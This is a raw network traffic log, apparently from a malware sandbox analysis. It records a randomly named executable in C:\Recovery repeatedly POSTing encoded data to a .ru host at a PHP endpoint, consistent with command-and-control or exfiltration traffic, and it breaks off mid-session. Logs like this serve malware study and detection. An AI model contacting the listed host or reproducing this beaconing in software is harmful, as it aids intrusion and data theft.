Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49847	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:30.283104897 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:30.634747982 CET	2292	OUT	Data Raw: 5c 58 43 5a 5a 5b 55 59 54 5d 59 5a 55 5b 57 50 56 5d 5c 54 52 54 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \XCZZ[UYT]YZU[WPV]\TRT[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!=>>???-'B+%]&%*#X<.-P(0$T?(?6#%'[$.Y!/
Dec 21, 2024 11:08:31.367758036 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:31.603231907 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Rs1kPN5INPjk1R75wZNEWv6IPXNqV7UiMPcnIH1xOT552oL0NqYFprsGWW9HzkmTfy7STEOZkCVVL65KIwdo3kB4W3KEa6A3Fy1CeE6stl6K%2BfravVoTztcfD4HkH%2FVpxPkEoPDQd4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712430d2b0f7c-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6634&min_rtt=1444&rtt_var=10921&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=33981&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49852	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:31.844521999 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:32.197333097 CET	2292	OUT	Data Raw: 59 53 43 5e 5a 56 55 58 54 5d 59 5a 55 5a 57 5f 56 5c 5c 5f 52 55 5b 5e 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSC^ZVUXT]YZUZW_V\\_RU[^YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"*=&>,$R(+)1&>:;?V+ 7<768&'[$.Y!+
Dec 21, 2024 11:08:32.930850983 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:33.165498972 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j10tLGWq6WVpvI0qlEbiWbUlxJSdpySgRe9Qsm386OdNyA1GCLcWy2rO19VBtmZD%2FBVP2fgwq8KJfhnpbQADelsrhlUwwLfIJbCaqaKibO5m8E2K9PZm9o6rFSbgC%2Bm3MDTJa9qDrzo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57124cc93042b0-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3087&min_rtt=1799&rtt_var=3252&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=120561&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49855	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:33.406491995 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49857	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:33.725028992 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:34.072431087 CET	1732	OUT	Data Raw: 59 5a 43 5c 5a 57 50 53 54 5d 59 5a 55 50 57 54 56 50 5c 54 52 51 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZC\ZWPST]YZUPWTVP\TRQ[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\">&+<<>D?%[$8>X)=.+0((; 542-'[$.Y!
Dec 21, 2024 11:08:34.811402082 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:35.047028065 CET	962	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oBeVrHHk3BkGxI%2FicAdxgn%2BmeJgUmKX4LYcs%2FtWJF%2BAAn0Hd%2B4CtT5IETWRES1R2f4dKkmWYkdiY0x4so8UdJtUt8gQ3fgwJNDxx3Xsjk0em5pxiBfvqt%2BfHhMgzhjBZrGPhXk7PkzI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712589a847c6f-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4537&min_rtt=2026&rtt_var=5783&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=66006&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 3a 07 30 05 26 13 2a 5f 38 03 3c 2f 2d 53 2b 5a 25 04 2c 54 3a 04 33 33 15 03 2c 02 29 55 3f 30 25 13 2a 3d 02 51 2b 37 2f 5a 3e 02 2e 58 03 11 24 1c 22 5c 37 5b 3c 2b 35 54 2d 16 39 5b 20 3d 33 5b 39 38 21 54 27 2e 22 11 22 03 38 0f 2c 31 3c 1d 38 29 24 04 27 24 30 0c 31 04 2e 53 0c 16 22 5d 3d 2d 2d 11 32 2f 2d 54 30 34 3a 53 35 26 3f 0b 22 28 06 56 30 2c 39 02 27 58 2c 56 2b 30 2d 1f 28 2f 0f 18 3e 39 29 52 2b 01 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:0&_8</-S+Z%,T:33,)U?0%=Q+7/Z>.X$"\7[<+5T-9[ =3[98!T'.""8,1<8)$'$01.S"]=--2/-T04:S5&?"(V0,9'X,V+0-(/>9)R+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49860	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:33.845716000 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:34.197334051 CET	2292	OUT	Data Raw: 59 59 43 5a 5f 5d 55 5f 54 5d 59 5a 55 5b 57 57 56 5a 5c 59 52 53 5b 5a 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YYCZ_]U_T]YZU[WWVZ\YRS[ZYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!E=[6<?'+.+<6$;)**8?Q? 3+]?"+?&-'[$.Y!/
Dec 21, 2024 11:08:34.931613922 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:35.171575069 CET	807	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pz9pLSQ1oPRGGhu6Y9Rm2BbMRS6TRRPa4ZB%2BN3%2BRwr8Wr1nThwF2LIVEIzkP79NYcU5FlwaAnH77K0s0IC66JHl2wIIbAavis%2FhEihQukdSy005rBNXYa4EMBYFg9h5MSZyiCjJr5KQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712595829efa1-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=5194&min_rtt=2084&rtt_var=7001&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=54144&cwnd=164&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49863	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:35.405451059 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:35.760009050 CET	2292	OUT	Data Raw: 59 52 43 58 5f 59 55 5d 54 5d 59 5a 55 5c 57 57 56 5a 5c 55 52 53 5b 5d 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YRCX_YU]T]YZU\WWVZ\URS[]YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"=[5>?'?-,()2;)U+)$?=%U<3(<84]#(;W&'[$.Y!3
Dec 21, 2024 11:08:36.490401030 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:36.731538057 CET	809	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0wCVLIttSFCtS%2Bj5L%2Fga7KOAdQFFexGC5euF8us8hY7Y0nc94ElxB9obh5mBVE5ktDPX%2BZmgZEStbJ9Uvl71SsbWoXf5mfBny%2BYLXu7avcIhbzcK1b26uVKuK0HYBuAGsCsIQfYqv8Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571263189ff78d-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3060&min_rtt=1445&rtt_var=3773&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=101593&cwnd=99&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49866	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:36.973347902 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:37.322334051 CET	2292	OUT	Data Raw: 5c 5c 43 5e 5f 5d 50 58 54 5d 59 5a 55 5c 57 50 56 5b 5c 5f 52 56 5b 5d 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \\C^_]PXT]YZU\WPV[\_RV[]YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"=>.X(,R<'A),-$86>93(>)U+V<##(7'='[$.Y!3
Dec 21, 2024 11:08:38.067572117 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:38.305825949 CET	809	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zz1anAKIh2Pr0ssDRpTR1AxrqiUmJOmif8VP5z4iDlrMNgczwX60ns5wMt%2Bmoi%2F9Ydh8%2BCrBGYMswy6Wp9wCpmppXGBt191zMKzbIx%2BQh8rdA0Bv9ff2XhcRr7m0Kt4Z8fPJqf7Xdag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57126cee2b72ab-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3774&min_rtt=2012&rtt_var=4278&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=90632&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49871	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:38.548145056 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:38.900509119 CET	2292	OUT	Data Raw: 59 58 46 5b 5f 5d 50 5a 54 5d 59 5a 55 5e 57 55 56 5a 5c 5e 52 54 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YXF[_]PZT]YZU^WUVZ\^RT[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"*6<,T+.+%&^)U=/(=Q<V3( "8V1'[$.Y!;
Dec 21, 2024 11:08:39.633492947 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49875	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:40.178215981 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:40.525454998 CET	1732	OUT	Data Raw: 59 5d 46 59 5f 59 55 5e 54 5d 59 5a 55 5c 57 50 56 5e 5c 58 52 53 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y]FY_YU^T]YZU\WPV^\XRS[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"="(V?.?+%;:+9 +X2<0,<;$"(3&'[$.Y!3
Dec 21, 2024 11:08:41.263362885 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:41.499285936 CET	962	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Eb6cANj8v9Lxl2m2SS8LTGLi%2F9qW7xtgWUgCIcHadgTcc6b93v44UeYVO2D1jKzlxUS%2B5CA1vN5Q%2FtP7EijrwxhqcBdjB4BktWE%2B7q7z2Uv%2BpoDyCthu9%2BreXp6x5DtZfhOn7bRenR0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571280ef601795-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4176&min_rtt=1448&rtt_var=5999&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=62728&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 59 27 28 2a 5a 29 00 24 01 3f 02 3d 56 3f 05 25 04 38 0c 03 15 25 33 27 06 2c 05 2a 0a 3c 0d 0f 11 2a 3d 2b 0f 28 51 37 5d 29 02 2e 58 03 11 24 13 36 04 2b 1d 3c 06 29 54 2e 01 35 5b 23 3e 3b 5c 2d 01 3e 08 25 3e 22 53 21 2a 3b 55 2f 1f 3b 0a 2f 39 28 00 26 34 23 10 26 14 2e 53 0c 16 22 5b 29 2d 0f 1f 26 11 0b 1e 30 34 22 55 36 26 2c 1a 22 5e 37 0b 30 3c 31 01 27 2d 2f 0d 2b 09 25 53 3f 01 3e 44 3f 39 3d 53 28 3b 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989Y'(Z)$?=V?%8%3',<=+(Q7]).X$6+<)T.5[#>;\->%>"S!;U/;/9(&4#&.S"[)-&04"U6&,"^70<1'-/+%S?>D?9=S(;&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49876	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:40.298104048 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:40.650522947 CET	2292	OUT	Data Raw: 5c 5b 43 5a 5a 5c 50 59 54 5d 59 5a 55 5b 57 56 56 5f 5c 5e 52 55 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \[CZZ\PYT]YZU[WVV_\^RU[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\"-<$R<,??=[&=W)(=%<(;!+'V&-'[$.Y!/
Dec 21, 2024 11:08:41.383205891 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:41.621248960 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rdi9nzH0noDVwM3I9XDNmjHBRgHZqOpHPp8rl5cYzCsVfWpLzr54n5%2F861rgcLirlXpSCexBp58GEvUeoaXIJ0w4EChUHQZweo1CL%2FXGOGMFz1teZqqe71VXfOkPybN2zXgRj507YvU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571281ae406a4e-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=2974&min_rtt=1579&rtt_var=3383&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=114572&cwnd=201&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49879	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:41.862174034 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:08:42.212928057 CET	2292	OUT	Data Raw: 5c 58 43 5c 5f 59 55 58 54 5d 59 5a 55 5b 57 51 56 5d 5c 5b 52 53 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \XC\_YUXT]YZU[WQV]\[RS[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\")"]+'?>/@)<)$(P*\0+T+V#(]<Y5 1'[$.Y!/
Dec 21, 2024 11:08:42.954152107 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:43.193618059 CET	809	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9pl6b3nhHrgzLoeaho4i1b9rVCff5rHhwZbLdjLXhoVRtZL2z%2FH8XV7jMCxcPDD9Zu%2FiH0ScCmBT8u8u0yzia63xuIrMS5RxdA2xrI4bB7XpWFETaxEmhIPXkXgYr%2FJGlw%2B84i9ikSg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57128b7b8543ef-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3829&min_rtt=1572&rtt_var=5104&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=74375&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49884	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
